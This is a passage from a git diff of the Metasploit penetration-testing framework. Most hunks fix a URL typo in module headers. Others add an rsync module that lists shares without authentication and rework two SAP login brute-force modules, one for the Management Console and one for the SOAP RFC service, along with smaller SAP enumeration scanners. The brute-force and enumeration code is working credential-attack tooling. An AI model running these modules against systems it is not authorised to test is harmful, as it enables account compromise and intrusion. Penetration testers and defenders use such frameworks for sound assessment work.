100644 --- a/modules/auxiliary/scanner/rservices/rsh_login.rb +++ b/modules/auxiliary/scanner/rservices/rsh_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb new file mode 100644 index 0000000000..454fdb00b7 --- /dev/null +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -0,0 +1,69 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Rsync Unauthenticated List Command', + 'Description' => 'List all (listable) modules from a rsync daemon', + 'Author' => 'ikkini', + 'References' => + [ + ['URL', 'http://rsync.samba.org/ftp/rsync/rsync.html'] + ], + 'License' => MSF_LICENSE + ) + register_options( + [ + Opt::RPORT(873) + ], self.class) + end + + def run_host(ip) + connect + version = sock.get_once + + return if version.blank? + + print_good("#{ip}:#{rport} - rsync #{version.strip} found") + report_service(:host => ip, :port => rport, :proto => 'tcp', :name => 'rsync') + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'rsync_version', + :data => version.strip + ) + + # making sure we match the version of the server + sock.puts("#{version}") + # the listing command + sock.puts("\n") + listing = sock.get(20) + disconnect + + return if listing.blank? + + print_good("#{ip}:#{rport} - rsync listing found") + listing.gsub!('@RSYNCD: EXIT', '') # not interested in EXIT message + listing_sanitized = Rex::Text.to_hex_ascii(listing.strip) + + vprint_status("#{ip}:#{rport} - #{version.rstrip} #{listing_sanitized}") + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'rsync_listing', + :data => listing_sanitized + ) + end +end diff --git a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb index c91d6beb79..91fad86182 100644 --- a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb +++ b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index c1c6156ac1..7865397e71 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb index c928da3344..05ca2b7f4c 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb index c8ece7ac37..7cea619121 100644 --- a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb +++ b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb index cd43405d13..f87e2d65f3 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb index aa0ad16ba7..17423458d1 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,13 +16,10 @@ class Metasploit4 < Msf::Auxiliary super( 'Name' => 'SAP Management Console Brute Force', 'Description' => %q{ - This module simply attempts to brute force the username | - password for the SAP Management Console SOAP Interface. By - setting the SAP SID value, a list of default SAP users can be - tested without needing to set a USERNAME or USER_FILE value. - The default usernames are stored in - ./data/wordlists/sap_common.txt (the value of SAP SID is - automatically inserted into the username to replce <SAPSID>). + This module simply attempts to brute force the username and + password for the SAP Management Console SOAP Interface. If + the SAP_SID value is set it will replace instances of <SAPSID> + in any user/pass from any wordlist. }, 'References' => [ @@ -36,49 +33,43 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(50013), - OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', '']), - OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', nil]), + OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']), + OptPath.new('USER_FILE', [ false, "File containing users, one per line", + File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ]) ], self.class) register_autofilter_ports([ 50013 ]) end - def run_host(ip) + def run_host(rhost) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']), + 'uri' => uri, 'method' => 'GET' - }, 25) + }) if not res - print_error("#{rhost}:#{rport} [SAP] Unable to connect") + print_error("#{peer} [SAP] Unable to connect") return end - if datastore['SAP_SID'] != '' - if !datastore['USER_FILE'].nil? - print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist") - elsif !datastore['USERPASS_FILE'].nil? - print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist") - else - print_status("SAPSID set to '#{datastore['SAP_SID']}' - Setting default SAP wordlist") - datastore['USER_FILE'] = Msf::Config.data_directory + '/wordlists/sap_common.txt' - end - end + print_status("SAPSID set to '#{datastore['SAP_SID']}'") if datastore['SAP_SID'] each_user_pass do |user, pass| - enum_user(user,pass) + enum_user(user,pass,uri) end end - def enum_user(user, pass) + def enum_user(user, pass, uri) # Replace placeholder with SAP SID, if present - if datastore['SAP_SID'] != '' + if datastore['SAP_SID'] user = user.gsub("<SAPSID>", datastore["SAP_SID"].downcase) pass = pass.gsub("<SAPSID>", datastore["SAP_SID"]) end - print_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'") + print_status("#{peer} - Trying username:'#{user}' password:'#{pass}'") success = false soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' @@ -103,7 +94,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']), + 'uri' => uri, 'method' => 'POST', 'data' => data, 'headers' => @@ -113,9 +104,9 @@ class Metasploit4 < Msf::Auxiliary 'Content-Type' => 'text/xml; charset=UTF-8', 'Authorization' => 'Basic ' + user_pass } - }, 45) + }) - return if not res + return unless res if (res.code != 500 and res.code != 200) return @@ -136,17 +127,17 @@ class Metasploit4 < Msf::Auxiliary end rescue ::Rex::ConnectionError - print_error("#{rhost}:#{rport} [SAP #{rhost}] Unable to connect") + print_error("#{peer} [SAP] Unable to connect") return end if success - print_good("#{rhost}:#{rport} [SAP] Successful login '#{user}' password: '#{pass}'") + print_good("#{peer} [SAP] Successful login '#{user}' password: '#{pass}'") if permission - vprint_good("#{rhost}:#{rport} [SAP] Login '#{user}' authorized to perform OSExecute calls") + vprint_good("#{peer} [SAP] Login '#{user}' authorized to perform OSExecute calls") else - vprint_error("#{rhost}:#{rport} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls") + vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls") end report_auth_info( @@ -160,10 +151,9 @@ class Metasploit4 < Msf::Auxiliary :target_host => rhost, :target_port => rport ) - return else - vprint_error("#{rhost}:#{rport} [SAP] failed to login as '#{user}':'#{pass}'") - return + vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'") end end end + diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb index ffd602c529..b1d033363b 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb index bf13443ffa..1333c69ff8 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb index c3ff2df3fd..4fc3983a6b 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb index 9e36341d55..ccf26867ad 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb index 5867d8fb8e..d48d7dfd8b 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb index 8fbb4cc489..a6027450f4 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,7 +30,7 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(50013), - OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']), OptString.new('MATCH', [false, 'Display matches e.g login/', '']), ], self.class) register_autofilter_ports([ 50013 ]) @@ -38,16 +38,6 @@ class Metasploit4 < Msf::Auxiliary end def run_host(ip) - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']), - 'method' => 'GET' - }, 25) - - if not res - print_error("#{rhost}:#{rport} [SAP] Unable to connect") - return - end - getprocparam(ip) end @@ -75,7 +65,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']), + 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'data' => data, 'headers' => @@ -84,9 +74,9 @@ class Metasploit4 < Msf::Auxiliary 'SOAPAction' => '""', 'Content-Type' => 'text/xml; charset=UTF-8', } - }, 30) + }) - if not res + unless res print_error("#{rhost}:#{rport} [SAP] Unable to connect") return end @@ -100,7 +90,7 @@ class Metasploit4 < Msf::Auxiliary body = res.body success = true end - elsif res.code == 500 + elsif res case res.body when /<faultstring>(.*)<\/faultstring>/i faultcode = $1.strip @@ -116,16 +106,16 @@ class Metasploit4 < Msf::Auxiliary end if success - #Only stoor loot if MATCH is not selected - if datastore['MATCH'].empty? - print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to loot") - store_loot( + # Only store loot if MATCH is not selected + if datastore['MATCH'].blank? + loot = store_loot( "sap.getprocessparameters", "text/xml", rhost, res.body, ".xml" ) + print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to #{loot}") else name_match = Regexp.new(datastore['MATCH'], [Regexp::EXTENDED, 'n']) print_status("[SAP] Regex match selected, skipping loot storage") diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb index d253126761..bb443cf0b6 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -234,12 +234,14 @@ class Metasploit4 < Msf::Auxiliary if webmethods webmethods_output = [] # create empty webmethods array webmethods_arr = webmethods.split(",") - print_good("#{rhost}:#{rport} [SAP] Unprotected Webmethods :::") webmethods_arr.each do | webm | # Only add webmethods not found in protectedweb_arr - webmethods_output << webm if not protectedweb_arr.include?(webm) + webmethods_output << webm unless protectedweb_arr && protectedweb_arr.include?(webm) + end + if webmethods_output + print_good("#{rhost}:#{rport} [SAP] Unprotected Webmethods :::") + print_status("#{webmethods_output.join(',')}") end - print_status("#{webmethods_output.join(',')}") if webmethods_output report_note(:host => rhost, :proto => 'tcp', :port => rport, diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb index 83c0dd11e6..f950718dba 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb index 1348f0c17e..1c35daa9b8 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb index b899a020cb..34c51c9eba 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index a8d2d25180..94b85230f3 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb index a0e5f758f9..79f9882999 100644 --- a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb +++ b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_service_discovery.rb b/modules/auxiliary/scanner/sap/sap_service_discovery.rb index 1d64e481e2..3d76648eca 100644 --- a/modules/auxiliary/scanner/sap/sap_service_discovery.rb +++ b/modules/auxiliary/scanner/sap/sap_service_discovery.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_smb_relay.rb index f8e69a04d5..3c832996bf 100644 --- a/modules/auxiliary/scanner/sap/sap_smb_relay.rb +++ b/modules/auxiliary/scanner/sap/sap_smb_relay.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -252,4 +252,4 @@ class Metasploit4 < Msf::Auxiliary end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index ca96bb83eb..036ef00b1e 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index 142697e92b..ca33d03a2b 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,13 +25,10 @@ class Metasploit4 < Msf::Auxiliary def initialize super( - 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_PING Login Brute Forcer', + 'Name' => 'SAP SOAP Service RFC_PING Login Brute Forcer', 'Description' => %q{ This module attempts to brute force SAP username and passwords through the - /sap/bc/soap/rfc SOAP service, using RFC_PING function. Default clients can be - tested without needing to set a CLIENT. Common/Default user and password - combinations can be tested just setting DEFAULT_CRED variable to true. These - default combinations are stored in MSF_DATA_DIRECTORY/wordlists/sap_default.txt. + /sap/bc/soap/rfc SOAP service, using RFC_PING function. }, 'References' => [ @@ -47,34 +44,32 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(8000), - OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']), - OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true]) + OptString.new('CLIENT', [true, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']), + OptString.new('TARGETURI', [true, 'The base path to the SOAP RFC Service', '/sap/bc/soap/rfc']), + OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", + File.join(Msf::Config.data_directory, "wordlists", "sap_default.txt") ]) ], self.class) end - def run_host(ip) - if datastore['CLIENT'].nil? - print_status("Using default SAP client list") - client = ['000', '001', '066'] + def run_host(rhost) + client_list = [] + if datastore['CLIENT'] =~ /^\d{3},/ + client_list = datastore['CLIENT'].split(/,/) + print_status("Brute forcing clients #{datastore['CLIENT']}") + elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/ + array = datastore['CLIENT'].split(/-/) + client_list = (array.at(0)..array.at(1)).to_a + print_status("Brute forcing clients #{datastore['CLIENT']}") + elsif datastore['CLIENT'] =~ /^\d{3}\z/ + client_list.push(datastore['CLIENT']) + print_status("Brute forcing client #{datastore['CLIENT']}") else - client = [] - if datastore['CLIENT'] =~ /^\d{3},/ - client = datastore['CLIENT'].split(/,/) - print_status("Brute forcing clients #{datastore['CLIENT']}") - elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/ - array = datastore['CLIENT'].split(/-/) - client = (array.at(0)..array.at(1)).to_a - print_status("Brute forcing clients #{datastore['CLIENT']}") - elsif datastore['CLIENT'] =~ /^\d{3}\z/ - client.push(datastore['CLIENT']) - print_status("Brute forcing client #{datastore['CLIENT']}") - else - print_status("Invalid CLIENT - using default SAP client list instead") - client = ['000', '001', '066'] - end + fail_with(Failure::BadConfig, "Invalid CLIENT") end - saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] Credentials", + + saptbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[SAP] #{peer} Credentials", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, @@ -86,29 +81,29 @@ class Metasploit4 < Msf::Auxiliary "user", "pass" ]) - if datastore['DEFAULT_CRED'] - credentials = extract_word_pair(Msf::Config.data_directory + '/wordlists/sap_default.txt') - credentials.each do |u, p| - client.each do |cli| - success = bruteforce(u, p, cli) - if success - saptbl << [ rhost, rport, cli, u, p] - end + + client_list.each do |c| + print_status("#{peer} [SAP] Trying client: #{c}") + each_user_pass do |u, p| + vprint_status("#{peer} [SAP] Trying #{c}:#{u}:#{p}") + begin + success = bruteforce(u, p, c) + saptbl << [ rhost, rport, c, u, p] if success + rescue ::Rex::ConnectionError + print_error("#{peer} [SAP] Not responding") + return end end end - each_user_pass do |u, p| - client.each do |cli| - success = bruteforce(u, p, cli) - if success - saptbl << [ rhost, rport, cli, u, p] - end - end + + if saptbl.rows.count > 0 + print_line saptbl.to_s end - print(saptbl.to_s) end def bruteforce(username,password,client) + uri = normalize_uri(target_uri.path) + data = '<?xml version="1.0" encoding="utf-8" ?>' data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' data << '<env:Body>' @@ -116,39 +111,40 @@ class Metasploit4 < Msf::Auxiliary data << '</n1:RFC_PING>' data << '</env:Body>' data << '</env:Envelope>' - begin - res = send_request_cgi({ - 'uri' => '/sap/bc/soap/rfc', - 'method' => 'POST', - 'data' => data, - 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}", - 'ctype' => 'text/xml; charset=UTF-8', - 'authorization' => basic_auth(username, password), - 'headers' => { + + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'vars_get' => { + 'sap-client' => client, + 'sap-language' => 'EN' + }, + 'data' => data, + 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}", + 'ctype' => 'text/xml; charset=UTF-8', + 'authorization' => basic_auth(username, password), + 'headers' => + { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', - }, - 'vars_get' => { - 'sap-client' => client, - 'sap-language' => 'EN' } - }) - if res and res.code == 200 - report_auth_info( - :host => rhost, - :port => rport, - :sname => "sap", - :proto => "tcp", - :user => "#{username}", - :pass => "#{password}", - :proof => "SAP Client: #{client}", - :active => true - ) - return true - end - rescue ::Rex::ConnectionError - print_error("[SAP] #{rhost}:#{rport} - Unable to connect") - return false + }) + + if res && res.code == 200 && res.body.include?('RFC_PING') + print_good("#{peer} [SAP] Client #{client}, valid credentials #{username}:#{password}") + report_auth_info( + :host => rhost, + :port => rport, + :sname => "sap", + :proto => "tcp", + :user => username, + :pass => password, + :proof => "SAP Client: #{client}", + :active => true + ) + return true end - return false + + false end end + diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb index c20283e921..4a13a19a85 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb index fc110dbd7b..a223de64af 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb index f3978e7773..1658e8688d 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb index 626f264648..1547c002aa 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb index be20e21b59..5d5879910d 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb index 3d19045911..a4a058907c 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb index 1cf0bbc0de..e751c8e3cb 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb index d8f0f2ba23..da1c3e8ec5 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git 